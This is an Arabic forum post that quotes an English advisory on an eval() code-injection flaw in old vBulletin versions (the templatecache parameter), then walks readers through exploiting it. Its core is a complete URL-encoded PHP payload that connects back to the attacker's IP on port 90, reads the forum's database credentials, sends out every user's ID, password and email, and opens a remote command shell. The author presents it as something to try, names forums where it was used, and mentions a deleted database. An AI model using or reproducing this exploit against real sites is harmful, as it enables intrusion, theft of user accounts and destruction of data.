حركه حلوه تجربها في المنتدى vBulliten 115 & 113 
===============================

هاي :) 

كلنا نعرف منتديات الفي بي ، وهذا النوع من المنتديات يحب يركبه قليلين الخبره في أغلب الأحيان ، وهذا المنتدى هو المعروف عندنا العرب بكثره ، وقبل كل شئ أحب اقول رائي أن شغلت إختراق المنتديات شئ بسيط ولا هو حق فلسفه ، إذا مكان فيه الحصول على الجذر والا بلاشي ، أنا أسمي الإختراق بعدم الوصول الى الجذر لعب عيال :) 

أكيد الكل حاول يخترق الفي بي ومالقي الا شئيين في مواقع الأمن ، الأول اللي كتبته الفرنسي (على ما أعتقد) Jouko Pynnonen والثاني يخص في الجافا وهذه خلوه بعدين 

vBulletin (http://www.vbulletin.com) is a commonly used web forum 
system written in PHP. One of its key features is use of templates, 
which allow the board administrator to dynamically modify the look of 
the board. 

vBulletin templates are parsed with the eval() function. This could be 
somewhat safe as long as the parameters to eval() are under strict 
control. Unfortunately this is where vBulletin fails. With an URL 
crafted in a certain way, a remote user may control the eval() parameters 
and inject arbitrary PHP code to be executed. 

A remote user may thus execute any PHP code and programs as the web 
server user, typically "nobody", start an interactive shell and try to 
elevate their privilege. The configuration files are accessible for the 
web server so the user can in any case access the MySQL database 
containing the forums and user information. 

According to the authors the vulnerability exist in all versions of 
vBulletin up to 1.1.5 and 2.0 beta 2. The bug does not involve buffer 
overrun or other platform-dependant issues, so it's presumably 
exploitable under any OS or platform. 




DETAILS 
======= 

vBulletin templates are implemented in the following way: the 
gettemplate() function in global.php is used to fetch a template from 
database. The code is then passed to eval(). If we take index.php for 
an example, there's this code: 


if ($action=="faq") { 
eval("echo dovars(\"".gettemplate("faq")."\");"); 



The dovars() function does some variable replacing, such as replace 
<largefont> with <font size="10">. 

The gettemplate() function is defined in global.php: 


function gettemplate($templatename,$escape=1) { 
// gets a template from the db or from the local cache 
global $templatecache,$DB_site; 

if ($templatecache[$templatename]!="") { 
$template=$templatecache[$templatename]; 
} else { 
$gettemp=$DB_site->query_first("SELECT template FROM template WHERE title='". addslashes($templatename)."'"); 
$template=$gettemp[template]; 
$templatecache[$templatename]=$template; 


if ($escape==1) { 
$template=str_replace("\"","\\\"",$template); 

return $template; 




For effectiveness the function implements a simple cache for template 
strings. After fetching them from the database they're stored in the 
templatecache[] array. This array is checked for the template before 
doing the SQL query. Unfortunately the array is never initialized, so 
a user can pass array contents in the URL, e.g. 
(for simplicity not %-escaped) 

http://www.site.url/index.php?action=faq&templatecache[faq]=hello+world 

With this URL, you won't get the FAQ page, but just a blank page 
with the words "hello world". 

The eval() call above will execute 

echo dovars("hello world"); 

As if this wouldn't be bad enough, a remote user may as well pass a 
value containing quotation marks and other symbols. Quotation marks 
aren't always escaped as seen in the code above, in which case 
index.php could end up executing code like 

echo dovars("hello"world"); 

This would produce a PHP error message due to unbalanced quotes. It 
doesn't take a rocket scientist to figure out how a remote user could 
execute arbitrary code from here, so further details about exploitation 
aren't necessary. If your vBulletin board produces an error message 
with an URL like the one above prefixed with a single quotation mark, 
it's definitely vulnerable. 

The above example works with the "Lite" version. The commercial versions 
are vulnerable too, but details may differ. After a little experimenting 
on the Jelsoft's test site I found some of the commercial versions also 
have an eval() problem with URL redirecting, e.g. 

http://www.site.url/member.php?action=login&username=myuser&password=mypass&url=hello"world 

and a similar one in the Lite version: 

http://www.site.url/search.php?action=simplesearch&query=searchthis&templatecache[standardredirect]=hello"world 





تعرفون الكلام هذا ولا داعي لترجمه ، من الكلام هذا أنت ممكن ترسل أكواد خلف url تنفذ في السيرفر ، تضعها بدل الكلمه hello+world الغبيه ، جرب مثلا : 

1- ركب في جهازك ملقم ويب أي ملقم تحبه ممكن تركب عليه vb 113 or 115 
2- أفتح البورت 90 عندك في جهازك (طريقه فتح البورت تكون على مجازك) 
3- أرسل الـ url هذا الى السيرفر 

search.php3?action=simplesearch&query=searchthis&templatecache[standardredirect]="%29%3B%24fa="<%261";set_time_limit(substr("900",0,3));%24fp=fsockopen(substr("IP.IP.IP.IP",0,12),substr("90",0,2),%26%24errno,%26%24errstr,substr("900",0,3));if(!%24fp){}else{%24arr[200];fputs(%24fp,substr("vhak1.0,%20-d%20downloads%20database,or%20press%20return%20for%20command%20line",0,63));%24va=fgets(%24fp,3);fputs(%24fp,%24va);if(strlen(%24va)>1){include(substr("admin/config.php",0,16));include(substr("admin/config.php3",0,17));mysql_connect(substr("%24servername",0,strlen(%24servername)),substr("%24dbusername",0,strlen(%24dbusername)),substr("%24dbpassword",0,strlen(%24dbpassword)));%24currenta=mysql_db_query(substr("%24dbname",0,strlen(%24dbname)),substr("select%20*%20from%20user",0,18));while(%24res=mysql_fetch_array%20(%24currenta)){fputs(%24fp,"%24res[userid],");fputs(%24fp,"%24res[usergroupid],");fputs(%24fp,"%24res[password],");fputs(%24fp,"%24res[email],");fputs(%24fp,"%24res[username],");}echo(mysql_error());}while(!feof(%24fp)){unset(%24arr);%24str=exec(fgets(%24fp,substr("128",0,3)),%24arr);for(%24ir=substr("0",0,1);%24ir<sizeof(%24arr);%24ir%2B%2B){fputs(%24fp,%24arr[%24ir]);fputs(%24fp,%24va);}}fclose(%24fp);}die(vhak_finished_execution);echo%28" 

By Kill -9 

لاحظ IP.IP.IP.IP هذه تحط مكانها رقم الآي بي حقك ، ثم الاحظ بعدها وجود الرقم 12 وهذا تغيرها على طول رقم الآي بي ، مثلا 127.0.0.1 يكون طوله 9 

ممكن أنت تخترع كود ثاني وترسله وتلاحظ أنه يتنفذ ، ممكن ترسل كود يسجل لك أدمين ، هذا مثل ما صار في arabteam2000.com (أصدقائي طبعا) من باب التنبيه ، وكمان صار في c4arab.com و طريق الإسلام و الثقافه ...وكثير من المنتديات ، بهدف التحذير وليس التخريب ، وواضح أنه عمل بسيط يحتاج لشويه من التفكير ، أعتقد أهليز زمان صار فيه ، ولكن مسحت الداتالبيس وهذا سهل للغايه 

طريقه قديمه نوعا ما ، وحطيتها للي حب يجرب فقط !! 

وأعذروني على الإملاء والنحو 

ملاحظه أخيره : وهي عند ما تشبك مع السيرفر عن طريق البورت 90 أرسل 
-d downloads 
تنزل لك الداتبيس كلها ، وللأسف طلعت غير مشفره وهذا يدل على التخلف ، ولكن في الإصداره 2.2x شفرت ولكن كسرتها وقريبا أقول لك عنها 


تحياتي 
الكنــــــــــدور 

 

للرجوع